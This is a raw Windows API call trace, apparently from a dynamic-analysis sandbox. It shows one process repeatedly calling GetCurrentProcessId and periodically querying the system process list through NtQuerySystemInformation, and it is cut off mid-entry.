[0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.986] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0163.987] GetCurrentProcessId () returned 0xbf4 [0164.531] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf70) returned 0x0 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.550] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.551] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.552] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0164.553] GetCurrentProcessId () returned 0xbf4 [0165.105] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf70) returned 0x0 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.149] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.150] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.151] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.152] GetCurrentProcessId () returned 0xbf4 [0165.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf70) returned 0x0 [0165.700] GetCurrentProcessId () returned 0xbf4 [0165.700] GetCurrentProcessId () returned 0xbf4 [0165.700] GetCurrentProcessId () returned 0xbf4 [0165.700] GetCurrentProcessId () returned 0xbf4 [0165.700] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.701] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.702] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.703] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0165.704] GetCurrentProcessId () returned 0xbf4 [0166.221] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf20) returned 0x0 [0166.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf20) returned 0x0 [0167.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf20) returned 0x0 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.327] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.328] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.329] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.330] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.331] GetCurrentProcessId () returned 0xbf4 [0167.839] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bb30) returned 0x0 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.848] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.849] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.850] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 